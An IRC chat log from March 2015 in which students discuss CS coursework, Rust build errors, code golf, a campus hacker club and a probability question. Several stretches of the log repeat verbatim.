[2015-03-06T12:02:36-0500] <+awe> Man, software engineering is going to be total buns though.
[2015-03-06T12:03:02-0500] <+awe> Programming methodologies might be buns too.
[2015-03-06T12:03:03-0500] <+awe> Depend.
[2015-03-06T12:03:20-0500] <Hyper> I can't wait until I get to one of the design project classes
[2015-03-06T12:03:23-0500] <+awe> I really hope the professor who's teaching it now is teaching it next semester.
[2015-03-06T12:03:32-0500] <+awe> Because at least he already really likes me and knows that I'm smarter than everyone else.
[2015-03-06T12:03:33-0500] <Hyper> because those are basically "MAKE COOL SHIT HAVE FUN" classes
[2015-03-06T12:04:14-0500] <+awe> That's what SE is here.
[2015-03-06T12:04:26-0500] <Hyper> I like that type of class
[2015-03-06T12:04:35-0500] <+awe> But it's supposed to train you for entrepreneurship. 
[2015-03-06T12:04:36-0500] <Hyper> it's like free license to make ridiculous side projects
[2015-03-06T12:04:46-0500] <+awe> And you're forced to work in groups that they pick for you.
[2015-03-06T12:04:50-0500] <Hyper> oh
[2015-03-06T12:04:57-0500] <Hyper> in my high school one we picked groups
[2015-03-06T12:05:15-0500] <+awe> And they enforce which languages you can use, I think.
[2015-03-06T12:05:20-0500] <Hyper> so my group of friends who really love CS got together for a project which was tons of fun
[2015-03-06T12:06:17-0500] <+awe> If not, I'll just make sure to do everything in Haskell and Rust for the lulz.
[2015-03-06T13:12:22-0500] Mode is +nt
[2015-03-06T13:12:33-0500] <+awe> Hyper: you know what really grinds my gears?
[2015-03-06T13:12:44-0500] <Hyper> no
[2015-03-06T13:12:48-0500] <Hyper> well I know several things
[2015-03-06T13:12:50-0500] <+awe> lol.
[2015-03-06T13:12:55-0500] <Hyper> but what is the specific one that you're thinking of?
[2015-03-06T13:13:04-0500] <+awe> People who think mathematical formalisms have no place in computing.
[2015-03-06T13:13:34-0500] <+awe> I was reminded of an instance where someone posted on our CS group saying that if you like Introduction to Computation, you should drop CS and start taking math.
[2015-03-06T13:13:48-0500] <+awe> Because supposedly, CS is just programming and nothing else.
[2015-03-06T13:13:57-0500] <Hyper> O_O
[2015-03-06T13:14:24-0500] <+awe> Might I add that that isn't even THAT math heavy.
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[2015-03-06T11:57:15-0500] <+awe> .-.
[2015-03-06T11:57:39-0500] <+awe> Do you guys not have electives or something?
[2015-03-06T11:57:59-0500] <Hyper> oh we do
[2015-03-06T11:58:02-0500] <Hyper> those look ok
[2015-03-06T11:58:06-0500] <Hyper> some do
[2015-03-06T11:58:21-0500] <+awe> I'm incredibly excited for all of my higher-levels.
[2015-03-06T11:58:31-0500] <Hyper> I just mean for like the next term there isn't much I can take without getting dept. approval
[2015-03-06T11:58:38-0500] <Hyper> though I should be able to swing that
[2015-03-06T11:58:52-0500] <Hyper> http://www.gfycat.com/WildClearcutCaribou hyes/hyes
[2015-03-06T11:59:08-0500] <+awe> PLs, compilers, OSs, combinatorics, graph theory
[2015-03-06T11:59:27-0500] <Hyper> mmm
[2015-03-06T11:59:42-0500] <Hyper> awe: I was talking to a friend yesterday who is a math and physics major
[2015-03-06T11:59:47-0500] <Hyper> and mentioned ANNs
[2015-03-06T11:59:51-0500] <Hyper> and he was like "what's that"
[2015-03-06T12:00:17-0500] <+awe> Ok?
[2015-03-06T12:00:24-0500] <Hyper> and I was like "Um... do you know graph theory?" "a bit" "ok it's a directed acyclic graph"
[2015-03-06T12:00:30-0500] <+awe> lol
[2015-03-06T12:00:34-0500] <Hyper> (I was talking about feedforward specifically"
[2015-03-06T12:00:35-0500] <Hyper> )
[2015-03-06T12:00:36-0500] <+awe> Oh, I'm also doing formal language theory.
[2015-03-06T12:00:43-0500] <Hyper> and he was like "I know some of those words"
[2015-03-06T12:00:49-0500] <Hyper> :<
[2015-03-06T12:01:52-0500] <Hyper> He was asking if it was possible to make a computer evolve code and I was like "yeah pretty much I've done it before with ANNs but it's sorta shitty"
[2015-03-06T12:02:36-0500] <+awe> Man, software engineering is going to be total buns though.
[2015-03-06T12:03:02-0500] <+awe> Programming methodologies might be buns too.
[2015-03-06T12:03:03-0500] <+awe> Depend.
[2015-03-06T12:03:20-0500] <Hyper> I can't wait until I get to one of the design project classes
[2015-03-06T12:03:23-0500] <+awe> I really hope the professor who's teaching it now is teaching it next semester.
[2015-03-06T12:03:32-0500] <+awe> Because at least he already really likes me and knows that I'm smarter than everyone else.
[2015-03-06T12:03:33-0500] <Hyper> because those are basically "MAKE COOL SHIT HAVE FUN" classes
[2015-03-06T12:04:14-0500] <+awe> That's what SE is here.
[2015-03-06T12:04:26-0500] <Hyper> I like that type of class
[2015-03-06T12:04:35-0500] <+awe> But it's supposed to train you for entrepreneurship. 
[2015-03-06T12:04:36-0500] <Hyper> it's like free license to make ridiculous side projects
[2015-03-06T12:04:46-0500] <+awe> And you're forced to work in groups that they pick for you.
[2015-03-06T12:04:50-0500] <Hyper> oh
[2015-03-06T12:04:57-0500] <Hyper> in my high school one we picked groups
[2015-03-06T12:05:15-0500] <+awe> And they enforce which languages you can use, I think.
[2015-03-06T12:05:20-0500] <Hyper> so my group of friends who really love CS got together for a project which was tons of fun
[2015-03-06T12:06:17-0500] <+awe> If not, I'll just make sure to do everything in Haskell and Rust for the lulz.
[2015-03-06T13:12:32-0500] <+awe> Hyper: you know what really grinds my gears?
[2015-03-06T13:12:42-0500] <Hyper> no
[2015-03-06T13:12:47-0500] <Hyper> well I know several things
[2015-03-06T13:12:49-0500] <+awe> lol.
[2015-03-06T13:12:54-0500] <Hyper> but what is the specific one that you're thinking of?
[2015-03-06T13:13:03-0500] <+awe> People who think mathematical formalisms have no place in computing.
[2015-03-06T13:13:33-0500] <+awe> I was reminded of an instance where someone posted on our CS group saying that if you like Introduction to Computation, you should drop CS and start taking math.
[2015-03-06T13:13:46-0500] <+awe> Because supposedly, CS is just programming and nothing else.
[2015-03-06T13:13:56-0500] <Hyper> O_O
[2015-03-06T13:14:22-0500] <+awe> Might I add that that isn't even THAT math heavy.
[2015-03-06T13:14:37-0500] Mode is +nt
[2015-03-06T13:14:38-0500] <+awe> It's only abstract mathematics.
[2015-03-06T13:15:11-0500] <+awe> My probability class is definitely a lot more concrete math than Intro to Computation.
[2015-03-06T13:15:52-0500] <+awe> But even then, it's such a stupid remark because obviously there's a reason they're a part of the core curriculum for the CS department and that's because they're _important in computing_.
[2015-03-06T13:16:19-0500] <+awe> If you like the subject matter of the core classes in your curriculum, I would highly recommend staying in that curriculum.
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[2015-03-06T11:58:31-0500] <Hyper> I just mean for like the next term there isn't much I can take without getting dept. approval
[2015-03-06T11:58:38-0500] <Hyper> though I should be able to swing that
[2015-03-06T11:58:52-0500] <Hyper> http://www.gfycat.com/WildClearcutCaribou hyes/hyes
[2015-03-06T11:59:08-0500] <+awe> PLs, compilers, OSs, combinatorics, graph theory
[2015-03-06T11:59:27-0500] <Hyper> mmm
[2015-03-06T11:59:42-0500] <Hyper> awe: I was talking to a friend yesterday who is a math and physics major
[2015-03-06T11:59:47-0500] <Hyper> and mentioned ANNs
[2015-03-06T11:59:51-0500] <Hyper> and he was like "what's that"
[2015-03-06T12:00:17-0500] <+awe> Ok?
[2015-03-06T12:00:24-0500] <Hyper> and I was like "Um... do you know graph theory?" "a bit" "ok it's a directed acyclic graph"
[2015-03-06T12:00:30-0500] <+awe> lol
[2015-03-06T12:00:34-0500] <Hyper> (I was talking about feedforward specifically"
[2015-03-06T12:00:35-0500] <Hyper> )
[2015-03-06T12:00:36-0500] <+awe> Oh, I'm also doing formal language theory.
[2015-03-06T12:00:43-0500] <Hyper> and he was like "I know some of those words"
[2015-03-06T12:00:49-0500] <Hyper> :<
[2015-03-06T12:01:52-0500] <Hyper> He was asking if it was possible to make a computer evolve code and I was like "yeah pretty much I've done it before with ANNs but it's sorta shitty"
[2015-03-06T12:02:36-0500] <+awe> Man, software engineering is going to be total buns though.
[2015-03-06T12:03:02-0500] <+awe> Programming methodologies might be buns too.
[2015-03-06T12:03:03-0500] <+awe> Depend.
[2015-03-06T12:03:20-0500] <Hyper> I can't wait until I get to one of the design project classes
[2015-03-06T12:03:23-0500] <+awe> I really hope the professor who's teaching it now is teaching it next semester.
[2015-03-06T12:03:32-0500] <+awe> Because at least he already really likes me and knows that I'm smarter than everyone else.
[2015-03-06T12:03:33-0500] <Hyper> because those are basically "MAKE COOL SHIT HAVE FUN" classes
[2015-03-06T12:04:14-0500] <+awe> That's what SE is here.
[2015-03-06T12:04:26-0500] <Hyper> I like that type of class
[2015-03-06T12:04:35-0500] <+awe> But it's supposed to train you for entrepreneurship. 
[2015-03-06T12:04:36-0500] <Hyper> it's like free license to make ridiculous side projects
[2015-03-06T12:04:46-0500] <+awe> And you're forced to work in groups that they pick for you.
[2015-03-06T12:04:50-0500] <Hyper> oh
[2015-03-06T12:04:57-0500] <Hyper> in my high school one we picked groups
[2015-03-06T12:05:15-0500] <+awe> And they enforce which languages you can use, I think.
[2015-03-06T12:05:20-0500] <Hyper> so my group of friends who really love CS got together for a project which was tons of fun
[2015-03-06T12:06:17-0500] <+awe> If not, I'll just make sure to do everything in Haskell and Rust for the lulz.
[2015-03-06T13:12:32-0500] <+awe> Hyper: you know what really grinds my gears?
[2015-03-06T13:12:42-0500] <Hyper> no
[2015-03-06T13:12:47-0500] <Hyper> well I know several things
[2015-03-06T13:12:49-0500] <+awe> lol.
[2015-03-06T13:12:54-0500] <Hyper> but what is the specific one that you're thinking of?
[2015-03-06T13:13:03-0500] <+awe> People who think mathematical formalisms have no place in computing.
[2015-03-06T13:13:33-0500] <+awe> I was reminded of an instance where someone posted on our CS group saying that if you like Introduction to Computation, you should drop CS and start taking math.
[2015-03-06T13:13:46-0500] <+awe> Because supposedly, CS is just programming and nothing else.
[2015-03-06T13:13:56-0500] <Hyper> O_O
[2015-03-06T13:14:22-0500] <+awe> Might I add that that isn't even THAT math heavy.
[2015-03-06T13:14:36-0500] <+awe> It's only abstract mathematics.
[2015-03-06T13:15:10-0500] <+awe> My probability class is definitely a lot more concrete math than Intro to Computation.
[2015-03-06T13:15:50-0500] <+awe> But even then, it's such a stupid remark because obviously there's a reason they're a part of the core curriculum for the CS department and that's because they're _important in computing_.
[2015-03-06T13:16:18-0500] <+awe> If you like the subject matter of the core classes in your curriculum, I would highly recommend staying in that curriculum.
[2015-03-06T13:26:16-0500] <Hyper> I'm down to 224 characters now
[2015-03-06T13:26:25-0500] <Hyper> lost that 256 magic :(
[2015-03-06T13:28:53-0500] Mode is +nt
[2015-03-06T13:28:57-0500] <+awe> Hyper: sucks
[2015-03-06T13:29:26-0500] <Hyper> and I had to use the operator module to get that
[2015-03-06T13:33:14-0500] <+awe> Hyper: http://carllerche.github.io/mio/mio/net/tcp/struct.TcpStream.html
[2015-03-06T13:33:24-0500] <+awe> Hyper: notice that TcpStream has TryRead and TryWrite implementations.
[2015-03-06T13:33:33-0500] <+awe> now look at my errors
[2015-03-06T13:33:34-0500] <+awe> the trait `mio::io::TryRead` is not implemented for the type `std::net::tcp::TcpStream` [E0277]
[2015-03-06T13:33:41-0500] <+awe> the trait `mio::io::TryWrite` is not implemented for the type `std::net::tcp::TcpStream` [E0277]
[2015-03-06T13:33:43-0500] <Hyper> :(
[2015-03-06T13:33:55-0500] <+awe> Also note that mio::net::tcp::TcpStream is just a re-export of std::net::tcp::TcpStream.
[2015-03-06T13:36:27-0500] <Hyper> awe: too bad you have such a lame language that simple things like that don't work 8P
[2015-03-06T13:36:42-0500] <+awe> I'm talking to carl right now
[2015-03-06T13:36:45-0500] <+awe> I think he changed things in mio
[2015-03-06T13:36:48-0500] <+awe> but the docs aren't updated
[2015-03-06T13:38:21-0500] <+awe> yeah
[2015-03-06T13:42:41-0500] <+awe> Hyper: there's a bunch of really recent ICEs :(
[2015-03-06T13:42:51-0500] <Hyper> ICEs?
[2015-03-06T13:42:57-0500] <+awe> internal compiler errors
[2015-03-06T13:43:00-0500] <Hyper> :(
[2015-03-06T13:43:11-0500] <+awe> One's related to debug info.
[2015-03-06T13:44:34-0500] <Hyper> lol
[2015-03-06T13:44:44-0500] <+awe> At least you can avoid it by compiling with debug off.
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[2015-03-06T14:04:10-0500] <+awe> All this churn is annoying as hell though.
[2015-03-06T14:04:17-0500] <+awe> Most of my things don't build.
[2015-03-06T14:07:23-0500] <+awe> 4/12 projects biuld
[2015-03-06T14:07:27-0500] <+awe> build*
[2015-03-06T14:07:34-0500] <+awe> well, 4/12 projects are green on Travis
[2015-03-06T14:07:53-0500] <+awe> hamelin builds but not with the IRC daemon because it requires OpenSSL which is causing an ICE.
[2015-03-06T14:08:01-0500] <+awe> IRC builds except for that ICE.
[2015-03-06T14:08:13-0500] <+awe> markov builds but fails a test because of an ICE in rustc-serialize.
[2015-03-06T14:08:42-0500] <+awe> None of my IRC bots build because of the ICE and I can't update them to the new std::io as a result.
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[2015-03-06T14:09:51-0500] <+awe> Although I did update awebot to new std::io.
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[2015-03-06T13:12:49-0500] <+awe> lol.
[2015-03-06T13:12:54-0500] <Hyper> but what is the specific one that you're thinking of?
[2015-03-06T13:13:03-0500] <+awe> People who think mathematical formalisms have no place in computing.
[2015-03-06T13:13:33-0500] <+awe> I was reminded of an instance where someone posted on our CS group saying that if you like Introduction to Computation, you should drop CS and start taking math.
[2015-03-06T13:13:46-0500] <+awe> Because supposedly, CS is just programming and nothing else.
[2015-03-06T13:13:56-0500] <Hyper> O_O
[2015-03-06T13:14:22-0500] <+awe> Might I add that that isn't even THAT math heavy.
[2015-03-06T13:14:36-0500] <+awe> It's only abstract mathematics.
[2015-03-06T13:15:10-0500] <+awe> My probability class is definitely a lot more concrete math than Intro to Computation.
[2015-03-06T13:15:50-0500] <+awe> But even then, it's such a stupid remark because obviously there's a reason they're a part of the core curriculum for the CS department and that's because they're _important in computing_.
[2015-03-06T13:16:18-0500] <+awe> If you like the subject matter of the core classes in your curriculum, I would highly recommend staying in that curriculum.
[2015-03-06T13:26:16-0500] <Hyper> I'm down to 224 characters now
[2015-03-06T13:26:25-0500] <Hyper> lost that 256 magic :(
[2015-03-06T13:28:56-0500] <+awe> Hyper: sucks
[2015-03-06T13:29:25-0500] <Hyper> and I had to use the operator module to get that
[2015-03-06T13:33:12-0500] <+awe> Hyper: http://carllerche.github.io/mio/mio/net/tcp/struct.TcpStream.html
[2015-03-06T13:33:22-0500] <+awe> Hyper: notice that TcpStream has TryRead and TryWrite implementations.
[2015-03-06T13:33:32-0500] <+awe> now look at my errors
[2015-03-06T13:33:33-0500] <+awe> the trait `mio::io::TryRead` is not implemented for the type `std::net::tcp::TcpStream` [E0277]
[2015-03-06T13:33:40-0500] <+awe> the trait `mio::io::TryWrite` is not implemented for the type `std::net::tcp::TcpStream` [E0277]
[2015-03-06T13:33:42-0500] <Hyper> :(
[2015-03-06T13:33:54-0500] <+awe> Also note that mio::net::tcp::TcpStream is just a re-export of std::net::tcp::TcpStream.
[2015-03-06T13:36:25-0500] <Hyper> awe: too bad you have such a lame language that simple things like that don't work 8P
[2015-03-06T13:36:41-0500] <+awe> I'm talking to carl right now
[2015-03-06T13:36:43-0500] <+awe> I think he changed things in mio
[2015-03-06T13:36:47-0500] <+awe> but the docs aren't updated
[2015-03-06T13:38:19-0500] <+awe> yeah
[2015-03-06T13:42:40-0500] <+awe> Hyper: there's a bunch of really recent ICEs :(
[2015-03-06T13:42:50-0500] <Hyper> ICEs?
[2015-03-06T13:42:55-0500] <+awe> internal compiler errors
[2015-03-06T13:42:58-0500] <Hyper> :(
[2015-03-06T13:43:10-0500] <+awe> One's related to debug info.
[2015-03-06T13:44:32-0500] <Hyper> lol
[2015-03-06T13:44:43-0500] <+awe> At least you can avoid it by compiling with debug off.
[2015-03-06T14:04:09-0500] <+awe> All this churn is annoying as hell though.
[2015-03-06T14:04:16-0500] <+awe> Most of my things don't build.
[2015-03-06T14:07:22-0500] <+awe> 4/12 projects biuld
[2015-03-06T14:07:26-0500] <+awe> build*
[2015-03-06T14:07:33-0500] <+awe> well, 4/12 projects are green on Travis
[2015-03-06T14:07:52-0500] <+awe> hamelin builds but not with the IRC daemon because it requires OpenSSL which is causing an ICE.
[2015-03-06T14:07:59-0500] <+awe> IRC builds except for that ICE.
[2015-03-06T14:08:11-0500] <+awe> markov builds but fails a test because of an ICE in rustc-serialize.
[2015-03-06T14:08:41-0500] <+awe> None of my IRC bots build because of the ICE and I can't update them to the new std::io as a result.
[2015-03-06T14:09:50-0500] <+awe> Although I did update awebot to new std::io.
[2015-03-06T14:14:51-0500] <JacobEdelman_> awe: I'm starting work on a programing language where programs in (and only in) P can be created
[2015-03-06T14:15:04-0500] <JacobEdelman_> well, FP (functions computable in P) technicaly
[2015-03-06T15:09:03-0500] <grantwu> wat
[2015-03-06T15:13:39-0500] <grantwu> That's impossible
[2015-03-06T15:13:52-0500] <grantwu> Well... depends
[2015-03-06T15:14:13-0500] <grantwu> Wait, never mind
[2015-03-06T15:18:53-0500] Mode is +nt
[2015-03-06T15:19:13-0500] <+awe> JacobEdelman_: ok?
[2015-03-06T15:20:13-0500] <+awe> This kid's trying to recruit me into some hacker group on campus.
[2015-03-06T15:20:41-0500] <Tamini> lol
[2015-03-06T15:20:44-0500] <+awe> http://hackers-of-umass.github.io
[2015-03-06T15:21:03-0500] <Tamini> let's build things 
[2015-03-06T15:22:11-0500] <grantwu> Instructions unlcear
[2015-03-06T15:22:17-0500] <grantwu> *Instructions unclear
[2015-03-06T15:22:21-0500] <grantwu> 5000 paper airplanes built
[2015-03-06T15:23:29-0500] <JacobEdelman_> grantwu: its possible
[2015-03-06T15:23:31-0500] <JacobEdelman_> very possible
[2015-03-06T15:23:48-0500] <grantwu> JacobEdelman_ : That's why I said never mind
[2015-03-06T15:24:43-0500] <JacobEdelman_> awe: they seem to be very big on exclamation marks
[2015-03-06T15:24:52-0500] <JacobEdelman_> grantwu: it is intially kinda counter intuitive
[2015-03-06T15:26:15-0500] <+awe> Lol, the css transition on the header is so bad.
[2015-03-06T15:26:16-0500] <+awe> it's too fast.
[2015-03-06T15:26:26-0500] <+awe> And there's no opacity transition.
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[2015-03-06T15:58:32-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-06T13:33:22-0500] <+awe> Hyper: notice that TcpStream has TryRead and TryWrite implementations.
[2015-03-06T13:33:32-0500] <+awe> now look at my errors
[2015-03-06T13:33:33-0500] <+awe> the trait `mio::io::TryRead` is not implemented for the type `std::net::tcp::TcpStream` [E0277]
[2015-03-06T13:33:40-0500] <+awe> the trait `mio::io::TryWrite` is not implemented for the type `std::net::tcp::TcpStream` [E0277]
[2015-03-06T13:33:42-0500] <Hyper> :(
[2015-03-06T13:33:54-0500] <+awe> Also note that mio::net::tcp::TcpStream is just a re-export of std::net::tcp::TcpStream.
[2015-03-06T13:36:25-0500] <Hyper> awe: too bad you have such a lame language that simple things like that don't work 8P
[2015-03-06T13:36:41-0500] <+awe> I'm talking to carl right now
[2015-03-06T13:36:43-0500] <+awe> I think he changed things in mio
[2015-03-06T13:36:47-0500] <+awe> but the docs aren't updated
[2015-03-06T13:38:19-0500] <+awe> yeah
[2015-03-06T13:42:40-0500] <+awe> Hyper: there's a bunch of really recent ICEs :(
[2015-03-06T13:42:50-0500] <Hyper> ICEs?
[2015-03-06T13:42:55-0500] <+awe> internal compiler errors
[2015-03-06T13:42:58-0500] <Hyper> :(
[2015-03-06T13:43:10-0500] <+awe> One's related to debug info.
[2015-03-06T13:44:32-0500] <Hyper> lol
[2015-03-06T13:44:43-0500] <+awe> At least you can avoid it by compiling with debug off.
[2015-03-06T14:04:09-0500] <+awe> All this churn is annoying as hell though.
[2015-03-06T14:04:16-0500] <+awe> Most of my things don't build.
[2015-03-06T14:07:22-0500] <+awe> 4/12 projects biuld
[2015-03-06T14:07:26-0500] <+awe> build*
[2015-03-06T14:07:33-0500] <+awe> well, 4/12 projects are green on Travis
[2015-03-06T14:07:52-0500] <+awe> hamelin builds but not with the IRC daemon because it requires OpenSSL which is causing an ICE.
[2015-03-06T14:07:59-0500] <+awe> IRC builds except for that ICE.
[2015-03-06T14:08:11-0500] <+awe> markov builds but fails a test because of an ICE in rustc-serialize.
[2015-03-06T14:08:41-0500] <+awe> None of my IRC bots build because of the ICE and I can't update them to the new std::io as a result.
[2015-03-06T14:09:50-0500] <+awe> Although I did update awebot to new std::io.
[2015-03-06T14:14:51-0500] <JacobEdelman_> awe: I'm starting work on a programing language where programs in (and only in) P can be created
[2015-03-06T14:15:04-0500] <JacobEdelman_> well, FP (functions computable in P) technicaly
[2015-03-06T15:09:03-0500] <grantwu> wat
[2015-03-06T15:13:39-0500] <grantwu> That's impossible
[2015-03-06T15:13:52-0500] <grantwu> Well... depends
[2015-03-06T15:14:13-0500] <grantwu> Wait, never mind
[2015-03-06T15:19:12-0500] <+awe> JacobEdelman_: ok?
[2015-03-06T15:20:12-0500] <+awe> This kid's trying to recruit me into some hacker group on campus.
[2015-03-06T15:20:40-0500] <Tamini> lol
[2015-03-06T15:20:43-0500] <+awe> http://hackers-of-umass.github.io
[2015-03-06T15:21:02-0500] <Tamini> let's build things 
[2015-03-06T15:22:10-0500] <grantwu> Instructions unlcear
[2015-03-06T15:22:16-0500] <grantwu> *Instructions unclear
[2015-03-06T15:22:20-0500] <grantwu> 5000 paper airplanes built
[2015-03-06T15:23:28-0500] <JacobEdelman_> grantwu: its possible
[2015-03-06T15:23:30-0500] <JacobEdelman_> very possible
[2015-03-06T15:23:47-0500] <grantwu> JacobEdelman_ : That's why I said never mind
[2015-03-06T15:24:42-0500] <JacobEdelman_> awe: they seem to be very big on exclamation marks
[2015-03-06T15:24:51-0500] <JacobEdelman_> grantwu: it is intially kinda counter intuitive
[2015-03-06T15:26:14-0500] <+awe> Lol, the css transition on the header is so bad.
[2015-03-06T15:26:15-0500] <+awe> it's too fast.
[2015-03-06T15:26:25-0500] <+awe> And there's no opacity transition.
[2015-03-06T15:58:33-0500] Mode is +nt
[2015-03-06T15:59:13-0500] <+awe> JacobEdelman_: the guy who started it is a JS nublet.
[2015-03-06T15:59:29-0500] <JacobEdelman_> ? nublet?
[2015-03-06T15:59:38-0500] <JacobEdelman_> is that slang for noob?
[2015-03-06T15:59:39-0500] <+awe> Yes.
[2015-03-06T15:59:42-0500] <JacobEdelman_> ah
[2015-03-06T15:59:44-0500] <JacobEdelman_> well
[2015-03-06T15:59:46-0500] <+awe> I mean that he's a noob because he uses JS.
[2015-03-06T15:59:49-0500] <+awe> Not that he's a noob at JS.
[2015-03-06T15:59:55-0500] <JacobEdelman_> JS can be good!
[2015-03-06T16:00:01-0500] <JacobEdelman_> especially ES6!
[2015-03-06T16:00:19-0500] <+awe> I think I'm going to offer to host their official IRC here.
[2015-03-06T16:01:34-0500] <+awe> LOL
[2015-03-06T16:01:36-0500] <+awe> Smith is hosting a hackathon.
[2015-03-06T16:01:56-0500] <+awe> http://hackatsmith.org
[2015-03-06T16:06:46-0500] <+awe> Lol, a guy who I mentored an FRC with who does Rust is in the Mozilla IRC now.
[2015-03-06T16:07:07-0500] <+awe> s/FRC/FRC Team/
[2015-03-06T16:13:05-0500] • awe: wonders if he would recognize me.
[2015-03-06T16:20:58-0500] <+awe> http://people.umass.edu/nefuller/
[2015-03-06T16:20:59-0500] <+awe> This uhh...
[2015-03-06T16:21:00-0500] <+awe> random undergrad
[2015-03-06T16:21:04-0500] <+awe> has a umass page?
[2015-03-06T16:23:37-0500] <Hyper> awe: i'm down to 192 characters
[2015-03-06T16:23:44-0500] <nezorg> awe: well I'll be getting a cs.ucsb.edu email soon, so it's not really that strange
[2015-03-06T16:23:46-0500] <Hyper> golfing is really fun
[2015-03-06T16:23:56-0500] <+awe> nezorg: I don't know how he got it.
[2015-03-06T16:24:07-0500] <+awe> Hyper: It's not for me.
[2015-03-06T16:24:09-0500] <Hyper> I have an @nyu.edu email, am I cool yet?
[2015-03-06T16:24:13-0500] <nezorg> maybe he does research in a lab
[2015-03-06T16:24:14-0500] <+awe> I have @umass.edu email
[2015-03-06T16:24:25-0500] <nezorg> really? huh
[2015-03-06T16:24:29-0500] <+awe> cs.umass.edu is for faculty.
[2015-03-06T16:24:31-0500] <+awe> :)
[2015-03-06T16:24:33-0500] <Hyper> lol
[2015-03-06T16:24:39-0500] <nezorg> undergrads at ucsb get a umail.ucsb.edu address
[2015-03-06T16:24:40-0500] <+awe> And I think also grad students.
[2015-03-06T16:24:50-0500] <nezorg> cs.ucsb.edu is for grads/faculty
[2015-03-06T16:24:51-0500] <Hyper> https://gist.github.com/anonymous/dd4ae4c41e53a6c88e41
[2015-03-06T16:24:59-0500] <Hyper> only 3 lambdas!
[2015-03-06T16:25:02-0500] <nezorg> but I get one since I'll be submitting a paper soon :3
[2015-03-06T16:25:03-0500] <+awe> Hyper: this hurts.
[2015-03-06T16:25:06-0500] <Hyper> :D
[2015-03-06T16:25:09-0500] <Hyper> Perfect!
[2015-03-06T16:25:36-0500] <Hyper> if you think this hurts, my friend wrote something that'll drive you nuts!
[2015-03-06T16:25:40-0500] <+awe> nezorg: Yeah, it makes sense. The idea is that cs.school.edu is representative of their departmental efforts and research.
[2015-03-06T16:25:47-0500] <+awe> Hyper: This is why I cannot golf.
[2015-03-06T16:25:49-0500] <Hyper> awe: https://benkurtovic.com/2014/06/01/obfuscating-hello-world.html
[2015-03-06T16:25:59-0500] <Hyper> this is one of my best friends from high school
[2015-03-06T16:26:04-0500] <+awe> Hyper: I hate the idea of trying to make code worse.
[2015-03-06T16:26:05-0500] <Hyper> I suggested he enter it on SO
[2015-03-06T16:26:56-0500] <Hyper> awe: it's not *worse*
[2015-03-06T16:26:58-0500] <Hyper> it's shorter
[2015-03-06T16:27:11-0500] <Hyper> the readability just isn't a factor :)
[2015-03-06T16:27:17-0500] <+awe> I know.
[2015-03-06T16:27:24-0500] <+awe> It's worse in that it's unreadable though.
[2015-03-06T16:28:03-0500] <Hyper> :)
[2015-03-06T16:28:50-0500] <+awe> My school is a police state, by the way.
[2015-03-06T16:28:57-0500] <+awe> There's security guards everywhere right now.
[2015-03-06T16:29:03-0500] <+awe> No off-campus students allowed all weekend.
[2015-03-06T16:29:16-0500] <+awe> Erm, well, no non-UMass students.
[2015-03-06T16:29:36-0500] <+awe> The police are monitoring parking lots.
[2015-03-06T16:29:37-0500] <Hyper> awe: why?
[2015-03-06T16:29:53-0500] <+awe> Last year, there was a huge St. Patrick's Day party called the Blarney Blowout.
[2015-03-06T16:30:00-0500] <+awe> It was in town, not on campus.
[2015-03-06T16:30:12-0500] <Hyper> lol
[2015-03-06T16:30:12-0500] <+awe> There was twice as many people staying on our campus that weekend though.
[2015-03-06T16:30:33-0500] <+awe> Everyone was belligerently drunk in the streets. 
[2015-03-06T16:30:37-0500] <+awe> The police tried to break it up.
[2015-03-06T16:30:40-0500] <+awe> It turned into a riot.
[2015-03-06T16:30:45-0500] <+awe> Cars were flipped.
[2015-03-06T16:30:50-0500] <+awe> Houses were pissed on.
[2015-03-06T16:31:07-0500] <Hyper> well you *are* in Massachusetts 
[2015-03-06T16:31:33-0500] <+awe> ?
[2015-03-06T16:31:48-0500] <Hyper> it's a joke about the density of irish people.
[2015-03-06T16:35:51-0500] <+awe> Ah.
[2015-03-06T16:35:57-0500] <+awe> We're in Western Massachusetts.
[2015-03-06T16:35:59-0500] <+awe> So, it's a weird joke.
[2015-03-06T16:36:03-0500] <+awe> It's just farms out here.
[2015-03-06T16:36:08-0500] <+awe> All the Irish people are in the East.
[2015-03-06T16:36:25-0500] <+awe> Hyper: The write-up was interesting
[2015-03-06T16:36:30-0500] <Hyper> heh
[2015-03-06T16:42:43-0500] <+awe> I liked the approach to get numbers.
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[2015-03-06T16:54:47-0500] Mode is +nt
[2015-03-06T16:58:16-0500] <+awe> Yeah, so, I'm trying to get the Hackers of UMass stuff to use PdgnCo for IRC hosting.
[2015-03-06T16:59:36-0500] <+awe> The guy who's running it seemed moderately interested.
[2015-03-06T17:02:46-0500] <+awe> My god. This website requires so much JS.
[2015-03-06T17:03:51-0500] <+awe> The repos got >20 MB of JS.
[2015-03-06T17:04:58-0500] <+awe> Sorry. >30MB.
[2015-03-06T17:05:03-0500] <+awe> I'm still checking the whole thing out.
[2015-03-06T17:05:08-0500] <+awe> (Internet is being buns)
[2015-03-06T17:08:25-0500] <+awe> 34 MB.
[2015-03-06T17:08:26-0500] <+awe> Yah.
[2015-03-06T17:14:11-0500] <+awe> https://github.com/leoxlin?tab=repositories
[2015-03-06T17:15:11-0500] <+awe> How does someone who claims to transform entrepreneurship culture on our campus finish a degree with only six repositories none of which contain anything substantial. 
[2015-03-06T17:43:07-0500] <grantwu> "Transformed entrepreneurship culture" isn't a falsifiable claim.
[2015-03-06T17:44:13-0500] <grantwu> And like... everyone is trying to sell themselves.  I'm pretty bad at it.  That's probably why I haven't gotten an internship, much less an interview.
[2015-03-06T17:44:51-0500] <+awe> grantwu: It's also a completely nonsensical claim.
[2015-03-06T17:45:27-0500] <grantwu> *shrug* I don't know.  Maybe he did.  Maybe he got everyone totally excited about startups despite not actually making a startup
[2015-03-06T17:45:36-0500] <+awe> He didn't.
[2015-03-06T17:45:44-0500] <+awe> Nobody needs to be excited about that.
[2015-03-06T17:45:48-0500] <+awe> They all already think they're going to do it.
[2015-03-06T17:46:01-0500] <+awe> They just expect that they're going to make some incredible startup and get rich over night.
[2015-03-06T17:46:05-0500] <grantwu> Excitement isn't measurable :P
[2015-03-06T17:46:25-0500] <+awe> Haven't you ever seen one of those crowd excitement meters?
[2015-03-06T17:46:28-0500] <+awe> You can totally measure it. ;)
[2015-03-06T17:54:09-0500] <+awe> c. The variance of a random variable is always at least as big than its expectation. 
[2015-03-06T17:54:09-0500] <+awe> d. There exists random variables whose expecation and variance are equal.
[2015-03-06T17:54:12-0500] <+awe> Which of these is false?
